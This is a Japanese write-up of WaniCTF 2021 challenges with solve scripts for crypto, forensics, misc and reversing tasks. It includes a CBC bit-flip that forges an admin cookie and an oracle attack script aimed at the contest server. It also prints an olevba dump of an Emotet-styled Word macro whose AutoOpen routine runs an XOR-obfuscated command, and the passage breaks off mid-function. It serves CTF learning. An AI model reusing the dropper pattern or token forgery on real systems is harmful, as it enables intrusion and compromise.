WaniCTF 2021 Writeup

2021/11/5 20:00 ~ 2021/11/7 20:00に開催されたWaniCTF 2021のwriteupです。

6304pt獲得し、9/330位でした。

f:id:miso_24:20211107225204p:plain:w600

Crypto

fox

long_to_bytesするだけです。

from Crypto.Util.number import long_to_bytes
flag = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
long_to_bytes(flag)
$ python3 solve.py
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

Sweet curve

SageMathを使って、P+Qを計算するとフラグが得られました。

from Crypto.Util.number import *

p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

E = EllipticCurve(GF(p), [-1, 1])
P = E(x_P, y_P)
Q = E(x_Q, y_Q)
flag = P+Q
print(long_to_bytes(flag[0]))
$ sage solve.sage
b'FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}'

Dango

chall.pyから、ciphertext = flag ^ key[0]であることが確認できます。key[0]はAとCでxorをとると求めることができるため、flag = ciphertext ^ A ^ Cとなります。

ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0")
A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359")
B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7")
C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4")

def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))

key = xor(A, C)
flag = xor(ciphertext, key)
print(flag)
$ python3 solve.py 
b'FLAG{dango_sankyodai_dango__-ooo-}'

AES-NOC

assert len(flag) == 49
assert flag.startswith(b"FLAG{")
assert flag.endswith(b"}")

chall.py中に書かれているフラグの条件より、平文の最後のブロックは}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0fだと推測できます。

この情報を使うと、後ろのブロックから順に平文を求めることができます。

from pwn import *
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import pad

# last block: b"}\x0f\x0f\x0f..."
io = remote("aesnoc.crypto.wanictf.org", 50000)

def enc_flag():
    io.recvuntil(b"> ")
    io.sendline(b"1")
    io.recvuntil(b"'")
    return bytes.fromhex(io.recvline().decode().strip()[:-1])

def encrypt(p):
    io.recvuntil(b"> ")
    io.sendline(b"2")
    io.recvuntil(b"> ")
    io.sendline(p.hex())
    io.recvuntil(b"'")
    return bytes.fromhex(io.recvline().decode().strip()[:-1])

io.recvuntil(b"'")
iv = bytes.fromhex(io.recvline().decode().strip()[:-1])
enc = enc_flag()
blocks = [enc[i:i+16] for i in range(0, len(enc), 16)]

prev_P = pad(b"}", 16)
flag = prev_P
for i in range(3):
    plain = bytes(16) + prev_P
    e = encrypt(plain)
    prev_P = strxor(blocks[-1], e[16:32])
    flag = prev_P + flag
    blocks.pop()
print(flag)
$ python3 hoge.py
[+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done
b'FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
[*] Closed connection to aesnoc.crypto.wanictf.org port 50000

Flag Service

tokenをAES-CBCで暗号化したものがcookieにセットされます。tokenの形式は次の通りです。

{
    "admin": bool,
    "username": string,
}

adminがtrueなら、フラグが表示されます。

平文のFalseに対応する部分のivを書き換えると、復号後のadminをTrueにできます。

from cipher import AESCBC
import json
from base64 import b64encode, b64decode

enc = 'yP8VpnzzoXoUJ6miyJfRzIYGXv90WG8wFi2x25ijPrtTprq0LHq24bl4ojF33h3NJU7KrhReRRNFYDA19EoNHQ=='
enc_decoded = b64decode(enc)

old = b"False"
new = b"True "

# {"admin":False,"username":...
#          ^ index: 10
token = enc_decoded
for i, (o, n) in enumerate(zip(old, new)):
    token = token[:10+i] + bytes([token[10+i] ^ (o ^ n)]) + token[11+i:]
print(b64encode(token))
$ python3 solve.py
b'yP8VpnzzoXoUJ7ux0YGUzIYGXv90WG8wFi2x25ijPrtTprq0LHq24bl4ojF33h3NJU7KrhReRRNFYDA19EoNHQ=='

最後に、改竄したtokenをcookieにセットすれば、フラグが得られます。

FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

Forensics

propaganda

flag.mp4を再生して、10秒あたりの部分を見ると1瞬だけフラグが表示されました。

f:id:miso_24:20211107215136p:plain:w500

partition01

partition.imgというイメージファイルが与えられます。

stringsでフラグっぽい文字列を探すとFLAG{GPT03}という文字列が見つかりました。

$ strings partition.img | grep -oE "FLAG{.+}"
FLAG{WANI{FLAG{WANI{FLAG{WANI{FLAG{...
FLAG{CTF{FLAG{CTF{FLAG{CTF{FLAG{CTF{...
FLAG{GPT03}
...

sonic

spectroでflag.wavのスペクトログラムを表示すると、フラグが得られました。

f:id:miso_24:20211107215015p:plain:w600

poly

MP3と書かれたpngファイルが与えられます。

手始めにbinwalkでファイルを抽出してみます。

$ binwalk -e flag.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2048 x 1152, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, best compression
45263         0xB0CF          LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes
45328         0xB110          LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes
45393         0xB151          LZMA compressed data, properties: 0x90, dictionary size: 0 bytes, uncompressed size: 4857004032 bytes

0xB0CFあたりのデータが怪しいです。stringsコマンドで印字可能な文字列を表示します。

$ strings 0xB0CF.7z
@@1@>
pz5av
VTg]
>jIf6
...
JeLAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.
100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
IEND

LAME3.100という怪しい文字列が見えます。検索してみるとMP3エンコーダであることがわかります。

試しに0xB0CF.7zの拡張子をmp3に変えてファイルを開いてみると、this is mpng3という音声が再生されました。これがフラグです。

FLAG{thisismpng3}

partition02

binwalkでパーティションを抽出します。

$ binwalk -e partition.img
binwalk partition.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=30bcce20-7041-4d80-ace4-6463453e453e, volume name "WANI"
135265280     0x80FFC00       Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=30bcce20-7041-4d80-ace4-6463453e453e, volume name "WANI"
269484032     0x10100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=5223fb56-44b6-4085-85cd-a906894e894e, volume name "CTF"
403700736     0x180FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=5223fb56-44b6-4085-85cd-a906894e894e, volume name "CTF"
537919488     0x20100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=b1ebbc76-a6e5-4a94-af8e-f66264326432, volume name "FLAG{GPT03}"
672136192     0x280FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=b1ebbc76-a6e5-4a94-af8e-f66264326432, volume name "FLAG{GPT03}"
806354944     0x30100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=3cdcf545-49ea-4365-a694-11644d784d78, volume name "NANI"
940571648     0x380FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=3cdcf545-49ea-4365-a694-11644d784d78, volume name "NANI"
1074790400    0x40100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=2ccf7158-e3e1-4a67-bc1e-550a93af93af, volume name "FLAG01"
1209007104    0x480FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=2ccf7158-e3e1-4a67-bc1e-550a93af93af, volume name "FLAG01"
1343225856    0x50100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=38753979-6907-4e4e-a120-3ee45d055d05, volume name "FAKE"
1477442560    0x580FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=38753979-6907-4e4e-a120-3ee45d055d05, volume name "FAKE"
1611661312    0x60100000      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=c6ecae8e-a097-474d-a718-b567e77ee77e, volume name "FLAG02"
1745878016    0x680FFC00      Linux EXT filesystem, blocks count: 65536, image size: 67108864, rev 1.0, ext4 filesystem data, UUID=c6ecae8e-a097-474d-a718-b567e77ee77e, volume name "FLAG02"
1880096768    0x70100000      Linux EXT filesystem, blocks count: 32507, image size: 33287168, rev 1.0, ext4 filesystem data, UUID=68eb051c-18fd-4106-bf21-5bc497fb97fb, volume name "DUMMY"

ボリューム名から0x401000000x60100000が怪しいです。

sleuthkitのflsを使って、ファイル一覧を取得します。

$ fls 40100000.ext2
d/d 11: lost+found
r/r 12: flag01.txt
r/r 13: flag01.png
V/V 65537:      $OrphanFiles
$ fls 60100000.ext2
d/d 11: lost+found
r/r 12: flag02.txt
r/r 13: flag02.png
V/V 65537:      $OrphanFiles

flag01.pngとflag02.pngが見つかりました。icatを使って、flag01.pngとflag02.pngを取り出します。

$ icat 40100000.ext2 13 > flag01.png
$ icat 60100000.ext2 13 > flag02.png

後は、flag01.pngとflag02.pngを結合するとフラグが得られました。

$ cat flag02.png >> flag01.png

f:id:miso_24:20211107215214p:plain

Misc

binary

binary.csvのsignalの部分を8個区切りで文字に直していくとフラグが得られました。

with open("./binary.csv") as f:
    f.readline()

    flag = ""
    b = ""
    for line in f.readlines():
        b += line.strip().split(",")[1]
        if len(b) % 8 == 0:
            flag += chr(int(b, 2))
            b = ""
    print(flag)
$ python3 solve.py
FLAG{binary-is-essential-for-communication}

docker dive

Dockerfileが与えられるのでdocker buildして、docker run <image id> ./solverを実行するとフラグが得られました。

$ docker build .
$ docker run 4f904627b0f4 ./solver
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}

nearest

「黄色い電車 踏切 駅前商店街」で検索するとnearest.jpgと似ている画像が載せられているサイトが見つかりました。そのサイトに尾道駅と書かれていたので、FLAG{onomichieki}がフラグとなります。

digital Ask

digital_ask.csvを眺めると、0や1は16個区切りで並んでいることが確認できたので、連続する16個を1つにまとめておきます。

preambleから次のpreambleまでのデータをbinaryの要領で復号するとフラグが得られました。

import re

with open("./digital_ask.csv") as f:
    f.readline()

    b = ""
    for line in f.readlines():
        b += line.strip().split(",")[1]

b = re.sub("0{16}", "0", b)
b = re.sub("1{16}", "1", b)

# preambleを探す
# >>> for m in re.finditer("(10){16}11100101", b):
# >>>   print(m)
#<re.Match object; span=(50, 90), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(644, 684), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(1238, 1278), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(1832, 1872), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(2426, 2466), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(3020, 3060), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(3614, 3654), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(4208, 4248), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(4802, 4842), match='1010101010101010101010101010101011100101'>
#<re.Match object; span=(5396, 5436), match='1010101010101010101010101010101011100101'>

bi = ""
hoge = []
for i in range(90, 644):
    bi += b[i]
    if len(bi) == 8:
        hoge.append(chr(int(bi, 2)))
        bi = ""
print("".join(hoge))
$ python3 solve.py
FLAG{please-understand-frame-format-of-wireless-communication}

Rev

ltrace

scanfで入力された文字列とフラグをstrcmpで比較するだけのプログラムです。

問題にある通りltraceでフラグを得ることができます。注意点として、-sオプションで表示する文字列の最大長を変更しないとフラグがすべて表示されません。

$ ltrace -s 100 ./ltrace
printf("Input flag : ")                                                   = 13
__isoc99_scanf(0x5569b3f1b012, 0x7ffdbbb593a0, 0, 0Input flag : hoge
)                      = 1
strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")              = 34
puts("Incorrect"Incorrect
)                                                         = 10
+++ exited (status 1) +++

pwsh

難読化されているpowershellスクリプトが与えられます。

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')

これをpythonで書き直すと以下のようになります。

fmt = "{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"

table = [' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4','W4Co','d','e','rrect!cW4} ','rec','tcW4}',' {','tput c','cW4Welcome to t','f',' Write-Ou','if ']

src = fmt.format(*table)
src = src.replace('cW4', chr(34))
src = src.replace('8r3', chr(95))
src = src.replace('fj7', chr(36))
print(src)

実行するとpowershellスクリプトが得られます。入力された文字列とフラグを比較するだけのスクリプトです。

echo "Welcome to the world of PowerShell!"$input = Read-Host "Password"if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {  Write-Output "Correct!"} else {  Write-Output "Incorrect"}

よって、フラグはFLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}であることがわかります。

emoemotet

emoemotet.docというファイルが与えられます。Wordで開いてもよくわからない文字列が書かれているだけで、何も情報が得られません。

問題文にあるoletoolのolevbaを使うと、次のvbスクリプトが得られました。

$ olevba emoemotet.doc
olevba 0.60 on Python 3.9.6 - http://decalage.info/python/oletools
===============================================================================
FILE: emoemotet.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO emo
in file: emoemotet.doc - OLE stream: 'emo'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
